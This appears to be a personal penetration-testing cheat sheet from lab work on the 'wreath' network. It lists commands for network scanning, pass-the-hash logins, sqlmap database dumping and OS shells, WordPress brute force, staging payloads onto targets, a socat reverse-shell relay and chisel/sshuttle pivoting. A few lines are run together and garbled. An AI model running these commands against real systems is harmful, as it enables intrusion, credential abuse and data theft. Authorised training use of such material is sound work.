INDEX

Enumeration:

See which IP addresses are active and allow ICMP echo requests on the 172.16.0.x/24 network using

Bash:

```
for i in {1..255}; do (ping -c 1 172.16.0.${i} | grep "bytes from" &); done
```

Always good to have a nmap static file.

My nmap commands:

```
nmap -vv -p- IP -oN name.txt
```

Version scan:

```
sudo nmap -vv -sV -O -p ..,.. IP -oN name.txt
```

No ping scan:

```
sudo nmap -A -Pn -sV -sC -vv -p- -oN name.txt IP
```

Vulnerability scan:

```
nmap -Pn --script vuln -oN name.txt IP
```

Flags:

-sS TCP SYN scan, -sT Connect scan, -sA ACK scan

-sW Window scan, -sM Maimon scan,-sU UDP Scan

-sN TCP Null scan, -sF FIN scan,-sX Xmas scan

-O Enable OS Detection, -sC as to --script=default

--scanflags Customize TCP scan flags

-sI zombie host[:probeport] Idle scan

-sY SCTP INIT scan, -sZ COOKIE-ECHO scan

-sO IP protocol scan

-b "FTP relay host" FTP bounce scan

Examples of nmap pipe:

Scans for http/https servers on port 80 & 443 and pipes into Nikto.

nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -

Crackmapexec

Enumerate: cme <IP>/<subnet>

Enumerate SMB: smb <target(s)> -u '' -p ''

Enumerate with user and p for psswd H for hash:

cme <IP>/<subnet> -u 'USER' -H 'HASH' --local-auth

evil-winrm -i <DC-IP> -u <user> -H <hash>
pth-winexe -U <domain>/<user>%<hash> //<IP> cmd
psexec.py user:@<IP> -hashes :<hash>for
shellsxfreerdp /u:<user> /pth:<hash> /v:$IPfor
RDPpth-smbclient -U <domain>/<user>%<hash> //<IP>
cmd.exefor SMB

My sqlmap cheat sheet:

Enumerate databases

```
sqlmap --dbms=mysql -u "$URL" --dbs
```

Enumerate tables

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE"
  --tables
```

Dump table data

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T
  "$TABLE" --dump
```

Specify parameter to exploit

```
sqlmap --dbms=mysql -u
  "http://www.example.com/param1=value1&param2=valu
  e2" --dbs -p param2
```

Specify parameter to exploit in 'nice' URIs

```
sqlmap --dbms=mysql -u
  "http://www.example.com/param1/value1*/param2/val
  ue2" --dbs # exploits param1
```

Get OS shell

```
sqlmap --dbms=mysql -u "$URL" --os-shell
```

Get SQL shell

```
sqlmap --dbms=mysql -u "$URL" --sql-shell
```

SQL query

```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE"
  --sql-query "SELECT * FROM $TABLE;"
```

Use Tor Socks5 proxy

```
sqlmap --tor --tor-type=SOCKS5 --check-tor
  --dbms=mysql -u "$URL" --dbs
```

WPSCAN

```
wpscan --url http://<domain> --enumerate ap

wpscan --url http://<domain> --enumerate u

wpscan --url http://<domain> --wordlist <wordlist>
  --username <user>

wpscan --url http://address -P /txt -U wp_users.txt
```

3 Get files from your local machine to the target

Python server:

In your machine do:

```
sudo python3 -m http.server 80
```

Then grab the files from the target with a proper command:

wget http://IP/FILENAME && chmod +x file

curl IP/Filename -o /tmp/Filename && chmod +x /tmp/Filename

Netcat can allow for downloading files by connecting to a specific listening port that will

pass the contents of a file over the connection. Note that this example is Linux specific.

On the attackers computer, type:

```
cat file | nc -l 1234
```

Windows Share (Net Use)

To mount a remote drive, type:

```
net use z: \\remotepc\sharename
/u:domainname\username password
```

We can also use * instead of Z:. This will automatically pick up the unused drive letter starting from Z:

```
net use * \\remotepc\share /u:domainname\username
password
```

If you have administrator access to the remote computer then you can map the system drive or any other drive of the remote computer with the below command.

```
net use \\remotepc\C$ /u:username password
```

PowerShell

PowerShell (any version):

```
(New-Object
System.Net.WebClient).DownloadFile("https://example
.com/archive.zip", "C:\Windows\Temp\archive.zip")
```

PowerShell 4.0 & 5.0:

```
Invoke-WebRequest "https://example.com/archive.zip"
-OutFile "C:\Windows\Temp\archive.zip
```

Network Pivoting

Proxychains

Conf files:

1. ./proxychains.conf
2. ~/.proxychains/proxychains.conf
3. /etc/proxychains.conf

Specifically, we are interested in the "ProxyList" section

If performing an Nmap scan through proxychains, this option can cause the scan to hang and ultimately crash. Comment out the proxy_dns line using a hashtag (#) at the start of the line before performing a scan through the proxy!

proxychains nc 172.16.0.10 23

You can only use TCP scans -- so no UDP or SYN scans. ICMP Echo packets (Ping requests) will also not work through the proxy, so use the -Pn switch to prevent Nmap from trying it.

SSH Tunnelling / Port Forwarding

Forward Connections

Port forwarding is accomplished with the -L switch, which creates a link to a Local port. For example, if we had SSH access to 172.16.0.5 and there's a webserver running on 172.16.0.10, we could use this command to create a link to the server on 172.16.0.10:

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN

Reverse Connections

First, generate a new set of SSH keys,then add the public to your own authorized file.

The only thing left is to do the unthinkable, transfer the private key to the target box. This is usually an absolute no-no, which is why we

generated a throwaway set of SSH keys to be discarded as soon as the engagement is over. Once copied:

```
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
```

This would open up a port forward to our Kali box

My used command:

```
sshuttle -r root@10.200.86.200 --ssh-cmd 'ssh -i id_rsa' 10.200.86.0/24 -x 10.200.86.200
```

Plink.exe

Windows servers are unlikely to have an SSH server running so this would be done with the following command:

```
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
```

Note that any keys generated by `ssh-keygen` will not work properly here. You will need to convert them using the `puttygen` tool, which can be installed on Kali using `sudo apt install putty-tools`. After downloading the tool, conversion can be done with:

```
puttygen KEYFILE -o OUTPUT_KEY.ppk
```

Socat.exe

Reverse Shell Relay

Upload a static socat binary file if not present.

```
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
```

A classic listener will catch the connection:

```
sudo nc -lvnp 443
```

Port Forwarding

Situation: the compromised server is 172.16.0.5 and the target is port 3306 of 172.16.0.10

```
./socat tcp-l:33060,fork,reuseaddr
tcp:172.16.0.10:3306 &
```

fork = every connection is a new process

reuseaddr = the port stays open after a connection is made to it.

We can now connect to port 33060 on the relay (172.16.0.5) and have our connection directly relayed to our intended target of 172.16.0.10:3306.

Chisel.exe

You must have a chisel binary on attack and target.

Reverse SOCKS Proxy:

On our own attacking box we would use a command that looks something like this:

```
./chisel server -p LISTEN_PORT --reverse &
```

On the compromised host, we would use the following command:

```
./chisel client ATTACKING_IP:LISTEN_PORT R:socks &
```

Forward SOCKS Proxy:

First, on the compromised host we would use:

```
./chisel server -p LISTEN_PORT --socks5
```

On our own attacking box we would then use:

```
./chisel client TARGET_IP:LISTEN_PORT
PROXY_PORT:socks
```

Remote Port Forward:

For a remote port forward, on our attacking machine we use the exact same command as before:

```
./chisel server -p LISTEN_PORT --reverse &
```

Once again this sets up a chisel listener for the compromised host to connect back to.

The command to connect back is slightly different this time, however:

```
./chisel client ATTACKING_IP:LISTEN_PORT
R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
```

This would allow us to access 172.16.0.10:22 (via SSH) by navigating to 127.0.0.1:2222.

Local Port Forward:

On the compromised target we set up a chisel server:

```
./chisel server -p LISTEN_PORT
```

We now connect to this from our attacking machine like so:

```
./chisel client LISTEN_IP:LISTEN_PORT
LOCAL_PORT:TARGET_IP:TARGET_PORT
```

In the wreath network I used chisel this way:

I started a chisel forward proxy on the compromised system:

```
.\chiselFrenzis.exe server -p 24000 --socks5
```

On my kali:

```
./chisel_1.7.3_linux_amd64 client IP_from:24000
9050:socks
```

This was done on machine .150 that is not the machine exposed (.200)

Do not forget to edit the proxychains conf file to socks5.

Shuttle:

The base command for connecting to a server with sshuttle is as follows:

```
sshuttle -r username@address subnet
```

For example, in our fictional 172.16.0.x network with a compromised server at 172.16.0.5, the command may look something like this:

```
sshuttle -r user@172.16.0.5 172.16.0.0/24
```

Shuttle does not have -i key flag, you can override that with this: --shh-cmd "-i id_rsa", for example:

```
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i
private_key" 172.16.0.0/24
```

If the compromised machine you are using is in the subnet you want to shuttle into, you need to exclude its IP from the subnet with the -x switch.

```
sshuttle -r user@Target_IP IP/subnet -x target_IP
```

My wreath shuttle command on my kali:

```
sshuttle -r root@10.200.86.200 --ssh-cmd 'ssh -i
id_rsa' 10.200.86.0/24 -x 10.200.86.200
```